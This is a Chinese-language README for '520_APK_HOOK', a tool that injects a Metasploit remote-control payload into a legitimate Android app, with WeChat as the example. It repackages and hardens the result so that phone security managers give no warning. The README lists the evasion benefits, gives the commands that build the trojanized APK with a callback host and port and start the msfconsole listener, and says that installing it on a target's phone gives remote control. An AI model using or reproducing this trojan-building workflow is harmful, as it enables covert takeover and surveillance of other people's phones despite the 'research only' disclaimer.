520_APK_HOOK
介绍
-
将msf生成的payload,注入到一个正常的apk文件中,重新打包后进行加固,bypass手机安全管家的检测。
-
作者: BaoGuo
优点
-
相比于原始的msf远控,此版本app在进行远控时,被注入的app可以正常运行,原始msf生成的app程序,只在桌面上有一个图标,点击后没有任何app界面。
-
注入后的app在安装时,手机管家不会有任何安全提示,原始msf生成的app程序,安装时手机管家会有安全警示。
-
被注入后的app可以正常运行,msf正常在线,继承app的权限。
重点说明
-
本项目仅用于安全研究, 禁止利用脚本进行攻击, 使用本脚本产生的一切问题和本人无关.
-
部分被加固过的app无法进行注入,已测试网易系列💔,360系列💔,腾讯系列❤️,其他的请自行测试。
项目依赖
-
本项目参考以下项目
使用
-
使安装python3, Java环境.
-
使用python3生成apk文件, 需要指定msf远控链接的IP和端口.
╭─ ~/520apkhook х INT Py py3 16:36:11
╰─❯ python main.py --lhost 192.168.0.106 --lport 1433 -n ../微信_7.0.22.apk
- 使用msfconsole加载handler.rc进行服务端监听
╭─ ~/520apkhook х INT Py py3 16:36:11
╰─❯ msfconsole -r WorkDir/handler.rc
- 将生成的apk文件在安卓手机进行安装, 即可完成对目标的控制
- 成功后, 可以在msf中进行远程控制